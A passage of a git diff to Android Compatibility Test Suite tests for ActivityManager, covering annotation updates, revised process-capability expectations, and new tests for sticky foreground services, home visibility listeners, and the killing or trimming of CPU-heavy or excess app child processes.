         ServiceConnectionHandler conn = new ServiceConnectionHandler(mContext, mServiceIntent,
@@ -759,6 +781,7 @@
      * Test the background check doesn't allow services to be started from broadcasts except when in
      * the correct states.
      */
+    @Test
     public void testBackgroundCheckBroadcastService() throws Exception {
         final Intent broadcastIntent = new Intent();
         broadcastIntent.setFlags(Intent.FLAG_RECEIVER_FOREGROUND);
@@ -894,6 +917,7 @@
     /**
      * Test that background check does allow services to be started from activities.
      */
+    @Test
     public void testBackgroundCheckActivityService() throws Exception {
         final Intent activityIntent = new Intent();
         activityIntent.setClassName(SIMPLE_PACKAGE_NAME,
@@ -983,6 +1007,7 @@
     /**
      * Test that the foreground service app op does prevent the foreground state.
      */
+    @Test
     public void testForegroundServiceAppOp() throws Exception {
         PermissionUtils.grantPermission(
                 STUB_PACKAGE_NAME, android.Manifest.permission.PACKAGE_USAGE_STATS);
@@ -1143,6 +1168,7 @@
      * Verify that an app under background restrictions has its foreground services demoted to
      * ordinary service state when it is no longer the top app.
      */
+    @Test
     public void testBgRestrictedForegroundService() throws Exception {
         final Intent activityIntent = new Intent()
                 .setClassName(SIMPLE_PACKAGE_NAME,
@@ -1152,7 +1178,7 @@
         PermissionUtils.grantPermission(
                 STUB_PACKAGE_NAME, android.Manifest.permission.PACKAGE_USAGE_STATS);
         final ServiceProcessController controller = new ServiceProcessController(mContext,
-                getInstrumentation(), STUB_PACKAGE_NAME, mAllProcesses, WAIT_TIME);
+                mInstrumentation, STUB_PACKAGE_NAME, mAllProcesses, WAIT_TIME);
         final WatchUidRunner uidWatcher = controller.getUidWatcher();
 
         final Intent homeIntent = new Intent()
@@ -1225,6 +1251,7 @@
     /**
      * Test that a single "can't save state" app has the proper process management semantics.
      */
+    @Test
     public void testCantSaveStateLaunchAndBackground() throws Exception {
         if (!supportsCantSaveState()) {
             return;
@@ -1331,11 +1358,12 @@
             device.waitForIdle();
 
             // Exit activity, check to see if we are now cached.
-            mInstrumentation.getUiAutomation().performGlobalAction(
-                    AccessibilityService.GLOBAL_ACTION_BACK);
-            // Hit back again in case the notification curtain is open
-            mInstrumentation.getUiAutomation().performGlobalAction(
-                    AccessibilityService.GLOBAL_ACTION_BACK);
+            final Intent finishIntent = new Intent();
+            finishIntent.setPackage(CANT_SAVE_STATE_1_PACKAGE_NAME);
+            finishIntent.setAction(ACTION_FINISH);
+            finishIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            finishIntent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
+            mTargetContext.startActivity(finishIntent);
 
             // Wait for process to become cached
             uidCachedListener.waitForValue(
@@ -1364,6 +1392,7 @@
     /**
      * Test that switching between two "can't save state" apps is handled properly.
      */
+    @Test
     public void testCantSaveStateLaunchAndSwitch() throws Exception {
         if (!supportsCantSaveState()) {
             return;
@@ -1496,14 +1525,17 @@
             uid1Watcher.waitFor(WatchUidRunner.CMD_UNCACHED, null);
             uid1Watcher.expect(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP);
 
-            // Exit activity, check to see if we are now cached.
             waitForAppFocus(CANT_SAVE_STATE_1_PACKAGE_NAME, WAIT_TIME);
             device.waitForIdle();
-            mInstrumentation.getUiAutomation().performGlobalAction(
-                    AccessibilityService.GLOBAL_ACTION_BACK);
-            // Hit back again in case the notification curtain is open
-            mInstrumentation.getUiAutomation().performGlobalAction(
-                    AccessibilityService.GLOBAL_ACTION_BACK);
+
+            // Exit activity, check to see if we are now cached.
+            final Intent finishIntent = new Intent();
+            finishIntent.setPackage(CANT_SAVE_STATE_1_PACKAGE_NAME);
+            finishIntent.setAction(ACTION_FINISH);
+            finishIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            finishIntent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
+            mTargetContext.startActivity(finishIntent);
+
             uid1Watcher.expect(WatchUidRunner.CMD_CACHED, null);
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT);
 
@@ -1526,6 +1558,7 @@
      *
      * @throws Exception
      */
+    @Test
     public void testCycleFgs() throws Exception {
         ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
                 PACKAGE_NAME_APP1, 0);
@@ -1586,6 +1619,7 @@
      *
      * @throws Exception
      */
+    @Test
     public void testCycleFgsTriangle() throws Exception {
         ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
                 PACKAGE_NAME_APP1, 0);
@@ -1672,6 +1706,7 @@
      *
      * @throws Exception
      */
+    @Test
     public void testCycleFgsTriangleBiDi() throws Exception {
         ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
                 PACKAGE_NAME_APP1, 0);
@@ -1753,6 +1788,7 @@
      * client to service.
      * @throws Exception
      */
+    @Test
     public void testFgsLocationBind() throws Exception {
         setupWatchers(3);
 
@@ -1787,7 +1823,7 @@
 
             mWatchers[0].waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
-                    new Integer(PROCESS_CAPABILITY_FOREGROUND_LOCATION
+                    new Integer(PROCESS_CAPABILITY_NETWORK | PROCESS_CAPABILITY_FOREGROUND_LOCATION
                             | PROCESS_CAPABILITY_ALL_IMPLICIT));
 
             // Bind App 0 -> App 1, verify doesn't include capability.
@@ -1796,7 +1832,7 @@
             // Verify app1 does NOT have capability.
             mWatchers[1].waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
-                    new Integer(PROCESS_CAPABILITY_ALL_IMPLICIT));
+                    new Integer(PROCESS_CAPABILITY_ALL_IMPLICIT | PROCESS_CAPABILITY_NETWORK));
 
             // Bind App 0 -> App 2, include capability.
             bundle = new Bundle();
@@ -1806,7 +1842,7 @@
             // Verify app2 has FOREGROUND_LOCATION capability.
             mWatchers[2].waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
-                    new Integer(PROCESS_CAPABILITY_FOREGROUND_LOCATION
+                    new Integer(PROCESS_CAPABILITY_FOREGROUND_LOCATION | PROCESS_CAPABILITY_NETWORK
                             | PROCESS_CAPABILITY_ALL_IMPLICIT));
 
             // Back down to foreground service
@@ -1816,7 +1852,7 @@
             // Verify app0 does NOT have FOREGROUND_LOCATION capability.
             mWatchers[0].waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
-                    new Integer(PROCESS_CAPABILITY_ALL_IMPLICIT));
+                    new Integer(PROCESS_CAPABILITY_ALL_IMPLICIT | PROCESS_CAPABILITY_NETWORK));
 
             // Remove foreground service as well
             CommandReceiver.sendCommand(mContext,
@@ -1841,6 +1877,7 @@
      * Bound app should be TOP w/flag and BTOP without flag.
      * @throws Exception
      */
+    @Test
     public void testTopBind() throws Exception {
         setupWatchers(2);
 
@@ -1854,7 +1891,7 @@
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_SERVICE,
                     STUB_PACKAGE_NAME, mAppInfo[0].packageName, 0, null);
             mWatchers[0].waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_BOUND_TOP,
-                    new Integer(PROCESS_CAPABILITY_NONE));
+                    new Integer(PROCESS_CAPABILITY_NETWORK));
 
             // Bind Stub -> App 1, include capability (TOP)
             Bundle bundle = new Bundle();
@@ -1887,6 +1924,7 @@
         return monitor.waitForActivity();
     }
 
+    @Test
     public void testCycleTop() throws Exception {
         ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
                 PACKAGE_NAME_APP1, 0);
@@ -2024,6 +2062,7 @@
         }
     }
 
+    @Test
     public void testCycleFgAppAndAlert() throws Exception {
         ApplicationInfo stubInfo = mContext.getPackageManager().getApplicationInfo(
                 STUB_PACKAGE_NAME, 0);
@@ -2144,4 +2183,128 @@
             uid3Watcher.finish();
         }
     }
+
+    /**
+     * Test FGS compatibility with STICKY flag.
+     * @throws Exception
+     */
+    @Test
+    public void testFgsSticky() throws Exception {
+        // For START_STICKY, service is restarted, Service.onStartCommand is called with a null
+        // intent.
+        testFgsStickyInternal(Service.START_STICKY, ACTION_RESTART_FGS_STICKY_RESULT,
+                waiter -> waiter.doWait(WAITFOR_MSEC));
+        // For START_REDELIVER_INTENT, service is restarted, Service.onStartCommand is called with
+        // the same intent as previous service start.
+        testFgsStickyInternal(Service.START_REDELIVER_INTENT, ACTION_START_FGS_RESULT,
+                waiter -> waiter.doWait(WAITFOR_MSEC));
+        // For START_NOT_STICKY, service does not restart and Service.onStartCommand is not called
+        // again.
+        testFgsStickyInternal(Service.START_NOT_STICKY, ACTION_RESTART_FGS_STICKY_RESULT,
+                waiter -> {
+                    try {
+                        waiter.doWait(WAITFOR_MSEC);
+                        fail("Not-Sticky service should not restart after kill");
+                    } catch (Exception e) {
+                    }
+                });
+        testFgsStickyInternal(Service.START_NOT_STICKY, ACTION_START_FGS_RESULT,
+                waiter -> {
+                    try {
+                        waiter.doWait(WAITFOR_MSEC);
+                        fail("Not-Sticky service should not restart after kill");
+                    } catch (Exception e) {
+                    }
+                });
+    }
+
+    private void testFgsStickyInternal(int stickyFlag, String waitForBroadcastAction,
+            Consumer<WaitForBroadcast> checkKillResult) throws Exception {
+        ApplicationInfo app1Info = mContext.getPackageManager().getApplicationInfo(
+                PACKAGE_NAME_APP1, 0);
+        WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
+                WAITFOR_MSEC);
+        AmMonitor monitor = new AmMonitor(mInstrumentation,
+                new String[]{AmMonitor.WAIT_FOR_EARLY_ANR, AmMonitor.WAIT_FOR_ANR});
+        try {
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
+            Bundle extras = new Bundle();
+            extras.putInt(LocalForegroundServiceSticky.STICKY_FLAG, stickyFlag);
+            CommandReceiver.sendCommand(mContext,
+                    CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_STICKY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, extras);
+            uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
+
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(waitForBroadcastAction);
+
+            CtsAppTestUtils.executeShellCmd(mInstrumentation,
+                    "am crash " + PACKAGE_NAME_APP1);
+            monitor.waitFor(AmMonitor.WAIT_FOR_CRASHED, WAITFOR_MSEC);
+            monitor.sendCommand(AmMonitor.CMD_KILL);
+            checkKillResult.accept(waiter);
+        } finally {
+            uid1Watcher.finish();
+            final ActivityManager am = mContext.getSystemService(ActivityManager.class);
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                am.forceStopPackage(PACKAGE_NAME_APP1);
+            });
+        }
+    }
+
+    // Copied from android.test.InstrumentationTestCase
+    /**
+     * Utility method for launching an activity.
+     *
+     * <p>The {@link Intent} used to launch the Activity is:
+     *  action = {@link Intent#ACTION_MAIN}
+     *  extras = null, unless a custom bundle is provided here
+     * All other fields are null or empty.
+     *
+     * <p><b>NOTE:</b> The parameter <i>pkg</i> must refer to the package identifier of the
+     * package hosting the activity to be launched, which is specified in the AndroidManifest.xml
+     * file.  This is not necessarily the same as the java package name.
+     *
+     * @param pkg The package hosting the activity to be launched.
+     * @param activityCls The activity class to launch.
+     * @param extras Optional extra stuff to pass to the activity.
+     * @return The activity, or null if non launched.
+     */
+    public final <T extends Activity> T launchActivity(
+            String pkg,
+            Class<T> activityCls,
+            Bundle extras) {
+        Intent intent = new Intent(Intent.ACTION_MAIN);
+        if (extras != null) {
+            intent.putExtras(extras);
+        }
+        return launchActivityWithIntent(pkg, activityCls, intent);
+    }
+
+    // Copied from android.test.InstrumentationTestCase
+    /**
+     * Utility method for launching an activity with a specific Intent.
+     *
+     * <p><b>NOTE:</b> The parameter <i>pkg</i> must refer to the package identifier of the
+     * package hosting the activity to be launched, which is specified in the AndroidManifest.xml
+     * file.  This is not necessarily the same as the java package name.
+     *
+     * @param pkg The package hosting the activity to be launched.
+     * @param activityCls The activity class to launch.
+     * @param intent The intent to launch with
+     * @return The activity, or null if non launched.
+     */
+    @SuppressWarnings("unchecked")
+    public final <T extends Activity> T launchActivityWithIntent(
+            String pkg,
+            Class<T> activityCls,
+            Intent intent) {
+        intent.setClassName(pkg, activityCls.getName());
+        intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        T activity = (T) mInstrumentation.startActivitySync(intent);
+        mInstrumentation.waitForIdleSync();
+        return activity;
+    }
 }
diff --git a/tests/app/src/android/app/cts/ActivityManagerTest.java b/tests/app/src/android/app/cts/ActivityManagerTest.java
index 60df0d9..e38c925 100644
--- a/tests/app/src/android/app/cts/ActivityManagerTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerTest.java
@@ -15,6 +15,15 @@
  */
 package android.app.cts;
 
+import static android.content.ComponentCallbacks2.TRIM_MEMORY_BACKGROUND;
+import static android.content.ComponentCallbacks2.TRIM_MEMORY_COMPLETE;
+import static android.content.ComponentCallbacks2.TRIM_MEMORY_RUNNING_CRITICAL;
+import static android.content.ComponentCallbacks2.TRIM_MEMORY_RUNNING_LOW;
+import static android.content.ComponentCallbacks2.TRIM_MEMORY_RUNNING_MODERATE;
+import static android.content.ComponentCallbacks2.TRIM_MEMORY_UI_HIDDEN;
+
+import static org.junit.Assert.assertArrayEquals;
+
 import android.app.Activity;
 import android.app.ActivityManager;
 import android.app.ActivityManager.RecentTaskInfo;
@@ -22,34 +31,63 @@
 import android.app.ActivityManager.RunningServiceInfo;
 import android.app.ActivityManager.RunningTaskInfo;
 import android.app.ActivityOptions;
+import android.app.HomeVisibilityListener;
 import android.app.Instrumentation;
 import android.app.Instrumentation.ActivityMonitor;
 import android.app.Instrumentation.ActivityResult;
 import android.app.PendingIntent;
+import android.app.cts.android.app.cts.tools.WatchUidRunner;
 import android.app.stubs.ActivityManagerRecentOneActivity;
 import android.app.stubs.ActivityManagerRecentTwoActivity;
 import android.app.stubs.CommandReceiver;
+import android.app.stubs.LocalForegroundService;
 import android.app.stubs.MockApplicationActivity;
 import android.app.stubs.MockService;
 import android.app.stubs.ScreenOnActivity;
+import android.app.stubs.TrimMemService;
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.ServiceConnection;
+import android.content.pm.ApplicationInfo;
 import android.content.pm.ConfigurationInfo;
 import android.content.res.Resources;
+import android.os.Binder;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.IBinder;
+import android.os.Message;
+import android.os.Messenger;
+import android.os.Parcel;
+import android.os.RemoteException;
 import android.os.SystemClock;
 import android.platform.test.annotations.RestrictedBuildTest;
+import android.provider.DeviceConfig;
+import android.provider.Settings;
+import android.server.wm.settings.SettingsSession;
 import android.support.test.uiautomator.UiDevice;
 import android.test.InstrumentationTestCase;
+import android.util.ArrayMap;
+import android.util.ArraySet;
 import android.util.Log;
+import android.util.Pair;
+
+import androidx.test.filters.LargeTest;
 
 import com.android.compatibility.common.util.AmMonitor;
+import com.android.compatibility.common.util.ShellIdentityUtils;
 import com.android.compatibility.common.util.SystemUtil;
 
 import java.io.IOException;
 import java.util.ArrayList;
+import java.util.HashSet;
 import java.util.List;
+import java.util.Set;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
 import java.util.function.Predicate;
 import java.util.function.Supplier;
 
@@ -79,6 +117,11 @@
     private static final String ACTIVITY_TIME_TRACK_INFO = "com.android.cts.TIME_TRACK_INFO";
 
     private static final String PACKAGE_NAME_APP1 = "com.android.app1";
+    private static final String PACKAGE_NAME_APP2 = "com.android.app2";
+    private static final String PACKAGE_NAME_APP3 = "com.android.app3";
+
+    private static final String CANT_SAVE_STATE_1_PACKAGE_NAME = "com.android.test.cantsavestate1";
+    private static final String ACTION_FINISH = "com.android.test.action.FINISH";
 
     private static final String MCC_TO_UPDATE = "987";
     private static final String MNC_TO_UPDATE = "654";
@@ -436,15 +479,11 @@
         assertNotNull(conInf);
     }
 
-    /**
-     * Due to the corresponding API is hidden in R and will be public in S, this test
-     * is commented and will be un-commented in Android S.
-     *
     public void testUpdateMccMncConfiguration() throws Exception {
         // Store the original mcc mnc to set back
         String[] mccMncConfigOriginal = new String[2];
         // Store other configs to check they won't be affected
-        Set<String> otherConfigsOriginal = new HashSet<String>();
+        Set<String> otherConfigsOriginal = new HashSet<>();
         getMccMncConfigsAndOthers(mccMncConfigOriginal, otherConfigsOriginal);
 
         String[] mccMncConfigToUpdate = new String[] {MCC_TO_UPDATE, MNC_TO_UPDATE};
@@ -454,12 +493,12 @@
 
         if (success) {
             String[] mccMncConfigUpdated = new String[2];
-            Set<String> otherConfigsUpdated = new HashSet<String>();
+            Set<String> otherConfigsUpdated = new HashSet<>();
             getMccMncConfigsAndOthers(mccMncConfigUpdated, otherConfigsUpdated);
             // Check the mcc mnc are updated as expected
-            assertTrue(Arrays.equals(mccMncConfigToUpdate, mccMncConfigUpdated));
+            assertArrayEquals(mccMncConfigToUpdate, mccMncConfigUpdated);
             // Check other configs are not changed
-            assertTrue(otherConfigsOriginal.equals(otherConfigsUpdated));
+            assertEquals(otherConfigsOriginal, otherConfigsUpdated);
         }
 
         // Set mcc mnc configs back in the end of the test
@@ -467,13 +506,7 @@
                 (am) -> am.updateMccMncConfiguration(mccMncConfigOriginal[0],
                         mccMncConfigOriginal[1]));
     }
-     */
 
-    /**
-     * Due to the corresponding API is hidden in R and will be public in S, this method
-     * for test "testUpdateMccMncConfiguration" is commented and will be un-commented in
-     * Android S.
-     *
     private void getMccMncConfigsAndOthers(String[] mccMncConfigs, Set<String> otherConfigs)
             throws Exception {
         String[] configs = SystemUtil.runShellCommand(
@@ -490,7 +523,6 @@
             }
         }
     }
-    */
 
     /**
      * Simple test for {@link ActivityManager#isUserAMonkey()} - verifies its false.
@@ -553,8 +585,8 @@
         Context context = mInstrumentation.getTargetContext();
         ActivityOptions options = ActivityOptions.makeBasic();
         Intent receiveIntent = new Intent(ACTIVITY_TIME_TRACK_INFO);
-        options.requestUsageTimeReport(PendingIntent.getBroadcast(context,
-                0, receiveIntent, PendingIntent.FLAG_CANCEL_CURRENT));
+        options.requestUsageTimeReport(PendingIntent.getBroadcast(context, 0, receiveIntent,
+                PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE));
 
         // The application finished tracker.
         ActivityReceiverFilter appEndReceiver = new ActivityReceiverFilter(ACTIVITY_EXIT_ACTION);
@@ -595,6 +627,35 @@
         assertTrue(timeReceiver.mTimeUsed != 0);
     }
 
+    public void testHomeVisibilityListener() throws Exception {
+        LinkedBlockingQueue<Boolean> currentHomeScreenVisibility = new LinkedBlockingQueue<>(2);
+        HomeVisibilityListener homeVisibilityListener = new HomeVisibilityListener() {
+            @Override
+            public void onHomeVisibilityChanged(boolean isHomeActivityVisible) {
+                currentHomeScreenVisibility.offer(isHomeActivityVisible);
+            }
+        };
+        launchHome();
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mActivityManager,
+                (am) -> am.addHomeVisibilityListener(Runnable::run, homeVisibilityListener));
+
+        try {
+            // Make sure we got the first notification that the home screen is visible.
+            assertTrue(currentHomeScreenVisibility.poll(WAIT_TIME, TimeUnit.MILLISECONDS));
+            // Launch a basic activity to obscure the home screen.
+            Intent intent = new Intent(Intent.ACTION_MAIN);
+            intent.setClassName(SIMPLE_PACKAGE_NAME, SIMPLE_PACKAGE_NAME + SIMPLE_ACTIVITY);
+            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            mTargetContext.startActivity(intent);
+
+            // Make sure the observer reports the home screen as no longer visible
+            assertFalse(currentHomeScreenVisibility.poll(WAIT_TIME, TimeUnit.MILLISECONDS));
+        } finally {
+            ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(mActivityManager,
+                    (am) -> am.removeHomeVisibilityListener(homeVisibilityListener));
+        }
+    }
+
     /**
      * Verify that the TimeTrackingAPI works properly when switching away from the monitored task.
      */
@@ -610,8 +671,8 @@
         Context context = mInstrumentation.getTargetContext();
         ActivityOptions options = ActivityOptions.makeBasic();
         Intent receiveIntent = new Intent(ACTIVITY_TIME_TRACK_INFO);
-        options.requestUsageTimeReport(PendingIntent.getBroadcast(context,
-                0, receiveIntent, PendingIntent.FLAG_CANCEL_CURRENT));
+        options.requestUsageTimeReport(PendingIntent.getBroadcast(context, 0, receiveIntent,
+                    PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE));
 
         // The application started tracker.
         ActivityReceiverFilter appStartedReceiver = new ActivityReceiverFilter(
@@ -658,8 +719,8 @@
         Context context = mInstrumentation.getTargetContext();
         ActivityOptions options = ActivityOptions.makeBasic();
         Intent receiveIntent = new Intent(ACTIVITY_TIME_TRACK_INFO);
-        options.requestUsageTimeReport(PendingIntent.getBroadcast(context,
-                0, receiveIntent, PendingIntent.FLAG_CANCEL_CURRENT));
+        options.requestUsageTimeReport(PendingIntent.getBroadcast(context, 0, receiveIntent,
+                    PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE));
 
         // The application finished tracker.
         ActivityReceiverFilter appEndReceiver = new ActivityReceiverFilter(
@@ -798,9 +859,9 @@
     public void testKillingPidsOnImperceptible() throws Exception {
         // Start remote service process
         final String remoteProcessName = STUB_PACKAGE_NAME + ":remote";
-        Intent intent = new Intent("android.app.REMOTESERVICE");
-        intent.setPackage(STUB_PACKAGE_NAME);
-        mTargetContext.startService(intent);
+        Intent remoteIntent = new Intent("android.app.REMOTESERVICE");
+        remoteIntent.setPackage(STUB_PACKAGE_NAME);
+        mTargetContext.startService(remoteIntent);
         Thread.sleep(WAITFOR_MSEC);
 
         RunningAppProcessInfo remote = getRunningAppProcessInfo(remoteProcessName);
@@ -813,7 +874,7 @@
             if (disabled) {
                 executeAndLogShellCommand("cmd deviceidle enable light");
             }
-            intent = new Intent(Intent.ACTION_MAIN);
+            final Intent intent = new Intent(Intent.ACTION_MAIN);
             intent.setClassName(SIMPLE_PACKAGE_NAME, SIMPLE_PACKAGE_NAME + SIMPLE_ACTIVITY);
             intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
             mTargetContext.startActivity(intent);
@@ -884,6 +945,7 @@
             triggerIdle(false);
             toggleScreenOn(true);
             appStartedReceiver.close();
+            mTargetContext.stopService(remoteIntent);
 
             if (disabled) {
                 executeAndLogShellCommand("cmd deviceidle disable light");
@@ -894,6 +956,727 @@
         }
     }
 
+    /**
+     * Verifies the system will kill app's child processes if they are using excessive cpu
+     */
+    @LargeTest
+    public void testKillingAppChildProcess() throws Exception {
+        final long powerCheckInterval = 5 * 1000;
+        final long processGoneTimeout = powerCheckInterval * 4;
+        final int waitForSec = 5 * 1000;
+        final String activityManagerConstants = "activity_manager_constants";
+
+        final SettingsSession<String> amSettings = new SettingsSession<>(
+                Settings.Global.getUriFor(activityManagerConstants),
+                Settings.Global::getString, Settings.Global::putString);
+
+        final ApplicationInfo ai = mTargetContext.getPackageManager()
+                .getApplicationInfo(PACKAGE_NAME_APP1, 0);
+        final WatchUidRunner watcher = new WatchUidRunner(mInstrumentation, ai.uid, waitForSec);
+
+        try {
+            // Shorten the power check intervals
+            amSettings.set("power_check_interval=" + powerCheckInterval);
+
+            // Make sure we could start activity from background
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist +" + PACKAGE_NAME_APP1);
+
+            // Start an activity
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+
+            watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP, null);
+
+            // Spawn a light weight child process
+            CountDownLatch startLatch = startChildProcessInPackage(PACKAGE_NAME_APP1,
+                    new String[] {"/system/bin/sh", "-c",  "sleep 1000"});
+
+            // Wait for the start of the child process
+            assertTrue("Failed to spawn child process",
+                    startLatch.await(waitForSec, TimeUnit.MILLISECONDS));
+
+            // Stop the activity
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_STOP_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+
+            watcher.waitFor(WatchUidRunner.CMD_CACHED, null);
+
+            // Wait for the system to kill that light weight child (it won't happen actually)
+            CountDownLatch stopLatch = initWaitingForChildProcessGone(
+                    PACKAGE_NAME_APP1, processGoneTimeout);
+
+            assertFalse("App's light weight child process shouldn't be gone",
+                    stopLatch.await(processGoneTimeout, TimeUnit.MILLISECONDS));
+
+            // Now kill the light weight child
+            stopLatch = stopChildProcess(PACKAGE_NAME_APP1, waitForSec);
+
+            assertTrue("Failed to kill app's light weight child process",
+                    stopLatch.await(waitForSec, TimeUnit.MILLISECONDS));
+
+            // Start an activity again
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+
+            watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP, null);
+
+            // Spawn the cpu intensive child process
+            startLatch = startChildProcessInPackage(PACKAGE_NAME_APP1,
+                    new String[] {"/system/bin/sh", "-c",  "while true; do :; done"});
+
+            // Wait for the start of the child process
+            assertTrue("Failed to spawn child process",
+                    startLatch.await(waitForSec, TimeUnit.MILLISECONDS));
+
+            // Stop the activity
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_STOP_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+
+            watcher.waitFor(WatchUidRunner.CMD_CACHED, null);
+
+            // Wait for the system to kill that heavy child due to excessive cpu usage,
+            // as well as the parent process.
+            watcher.waitFor(WatchUidRunner.CMD_GONE, processGoneTimeout);
+
+        } finally {
+            amSettings.close();
+
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist -" + PACKAGE_NAME_APP1);
+
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                // force stop test package, where the whole test process group will be killed.
+                mActivityManager.forceStopPackage(PACKAGE_NAME_APP1);
+            });
+
+            watcher.finish();
+        }
+    }
+
+
+    /**
+     * Verifies the system will trim app's child processes if there are too many
+     */
+    @LargeTest
+    public void testTrimAppChildProcess() throws Exception {
+        final long powerCheckInterval = 5 * 1000;
+        final long processGoneTimeout = powerCheckInterval * 4;
+        final int waitForSec = 5 * 1000;
+        final int maxPhantomProcessesNum = 2;
+        final String namespaceActivityManager = "activity_manager";
+        final String activityManagerConstants = "activity_manager_constants";
+        final String maxPhantomProcesses = "max_phantom_processes";
+
+        final SettingsSession<String> amSettings = new SettingsSession<>(
+                Settings.Global.getUriFor(activityManagerConstants),
+                Settings.Global::getString, Settings.Global::putString);
+        final Bundle currentMax = new Bundle();
+        final String keyCurrent = "current";
+
+        ApplicationInfo ai = mTargetContext.getPackageManager()
+                .getApplicationInfo(PACKAGE_NAME_APP1, 0);
+        final WatchUidRunner watcher1 = new WatchUidRunner(mInstrumentation, ai.uid, waitForSec);
+        ai = mTargetContext.getPackageManager().getApplicationInfo(PACKAGE_NAME_APP2, 0);
+        final WatchUidRunner watcher2 = new WatchUidRunner(mInstrumentation, ai.uid, waitForSec);
+        ai = mTargetContext.getPackageManager().getApplicationInfo(PACKAGE_NAME_APP3, 0);
+        final WatchUidRunner watcher3 = new WatchUidRunner(mInstrumentation, ai.uid, waitForSec);
+
+        try {
+            // Shorten the power check intervals
+            amSettings.set("power_check_interval=" + powerCheckInterval);
+
+            // Reduce the maximum phantom processes allowance
+            SystemUtil.runWithShellPermissionIdentity(() -> {
+                int current = DeviceConfig.getInt(namespaceActivityManager,
+                        maxPhantomProcesses, -1);
+                currentMax.putInt(keyCurrent, current);
+                DeviceConfig.setProperty(namespaceActivityManager,
+                        maxPhantomProcesses,
+                        Integer.toString(maxPhantomProcessesNum), false);
+            });
+
+            // Make sure we could start activity from background
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist +" + PACKAGE_NAME_APP1);
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist +" + PACKAGE_NAME_APP2);
+            SystemUtil.runShellCommand(mInstrumentation,
+                    "cmd deviceidle whitelist +" + PACKAGE_NAME_APP3);
+
+            // Start an activity
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
+
+            watcher1.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP, null);
+
+            // Spawn a light weight child process
+            CountDownLatch startLatch = startChildProcessInPackage(PACKAGE_NAME_APP1,
+                    new String[] {"/system/bin/sh", "-c",  "sleep 1000"});
+
+            // Wait for the start of the child process
+            assertTrue("Failed to spawn child process",
+                    startLatch.await(waitForSec, TimeUnit.MILLISECONDS));
+
+            // Start an activity in another package
+            CommandReceiver.sendCommand(mTargetContext, CommandReceiver.COMMAND_START_ACTIVITY,
+                    PACKAGE_NAME_APP2, PACKAGE_NAME_APP2, 0, null);
+
+            watcher2.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP, null);
+
+            // Spawn a light weight child process
+            startLatch = startChildProcessInPackage(PACKAGE_NAME_APP2,
